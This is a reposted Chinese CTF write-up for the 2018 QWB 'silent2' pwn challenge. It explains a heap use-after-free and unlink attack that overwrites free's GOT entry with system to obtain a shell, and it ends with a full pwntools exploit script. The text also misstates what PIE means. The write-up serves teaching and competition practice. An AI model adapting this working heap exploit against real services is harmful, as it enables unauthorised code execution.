看了雪论坛里一位大佬的writeup，感到一丝迷茫，遂另起炉灶，提供另一种类似的做法，我多加了解释，应该会更加通俗易懂。
发现NX、Canary都开了，但Partial RELRO说明可以修改got表，PIE说明没有地址随机化，就可以直接利用IDA中看到的地址，不需要计算libc偏移了。
先看main函数：
case1：功能就是creat
注意到*&s[8*i] = v3这句，说明是用s这个数组来存储堆地址的，并且最多存储10个至少为0x80大小（或0x10）的堆。case2：功能就是删除delete
注意到free后没有给数组该元素设置为0，存在UAF漏洞。case3：功能是编辑edit
可惜这里长度不能自定义，只能根据原堆大小进行写数据，因此光看这里不存在溢出情况。
另外这里奇怪的是往0x602120的bss段中写入48个字符，或许这里也可以做文章，但我做的时候将它忽视。
看完源码后提出以下思路：
目的是执行system('/bin/sh')-->修改某个函数的（strlen或者free等）got表为system_plt-->利用unlink任意地址写。
先至少建立5个堆，然后将第4个和第5个堆free掉（不懂的可以参考我在CSDN中的unlink），以在unlink中构成chunk3->chunk0->target_addr的篡改链。
create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4
delete(3)
delete(4)
然后利用UAF漏洞对第4、5个堆进行伪造
fd = p64(p_addr-0x18)
bk = p64(p_addr-0x10)
payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70 #3 pre_size + size + fd + bk + data
payload +=p64(0x90) + p64(0xa0) #4 pre_size + size
create(0x130,payload)
这里有个知识点，虽然说malloc后返回的不是头部而是data数据段了，但看源码后才明白需要修改这个头部才能unlink：
if (!prev_inuse(p)) { //检查size最低位，看是否空闲
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize)); //将p前移prevsize个字节
unlink(av, p, bck, fwd);
}
这里将指针前移的偏移量为prevsize，也即只能前移到该0x130大chunk的数据段初始位置，因此需要在这里伪造一个头部绕过unlink检查。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
p64(0) + p64(0x91)，关键是这个0x91和0x90大小一致（最低位只表示是否空闲，对实际大小无影响）
接下来就是free来触发unlink了：
#unlink
delete(4)
这样一来，就完成了 chunk3->chunk0->target_addr的篡改链
接下去就是利用该篡改链修改函数got表了。
这里可以选择strlen，也可以选择free，但最终触发的指令得相应改变了。
modify(3,p64(free_got))
modify(0,p64(system_plt))
先往chunk3中写入free_got的地址，这样chunk0中保存的就是free_got了。
然后往chunk0中写入system_plt，这样就相当于往free_got中写入system_plt了。
如此一来就成功修改got表了。
最后就用free('/bin/sh')来触发system('/bin/sh')，由于开始时我就往chunk1中写入了bin/sh了，这里直接用就行了：
delete(1)
成功渗透，O(∩_∩)O哈哈~
最后贴上exp：
from pwn import *
#p = process('./silent2')
cn = remote('127.0.0.1',9527)
def create(size, content):
cn.sendline('1')
cn.sendline(str(size))
cn.sendline(content)
def modify(idx, content1):
cn.sendline('3')
cn.sendline(str(idx))
cn.sendline(content1)
def delete(idx):
cn.sendline('2')
cn.sendline(str(idx))
print cn.recv()
free_got = 0x602018
strlen_got = 0x602020
system_plt = 0x400730
p_addr = 0x6020d8
create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4
delete(3)
delete(4)
fd = p64(p_addr-0x18)
bk = p64(p_addr-0x10)
payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70#3
payload +=p64(0x90) + p64(0xa0)#4
create(0x130,payload)
#unlink
delete(4)
modify(3,p64(free_got))
modify(0,p64(system_plt))
delete(1)
cn.interactive()
大家可以相互交流，不懂的可以提出，我尽快回答；我出错的，希望能指出，共同进步！！！
- End -
原文作者：Snowleo
原文链接：[原创]2018强网杯silent2-『Pwn』-看雪安全论坛
转载请注明来自看雪社区
热门技术文章推荐：
1、[原创]关于手游王朝崛起调试破解心得分享-『Android安全』-看雪安全论坛
2、[翻译]加密聊天室：第二部分-『外文翻译』-看雪安全论坛
网友评论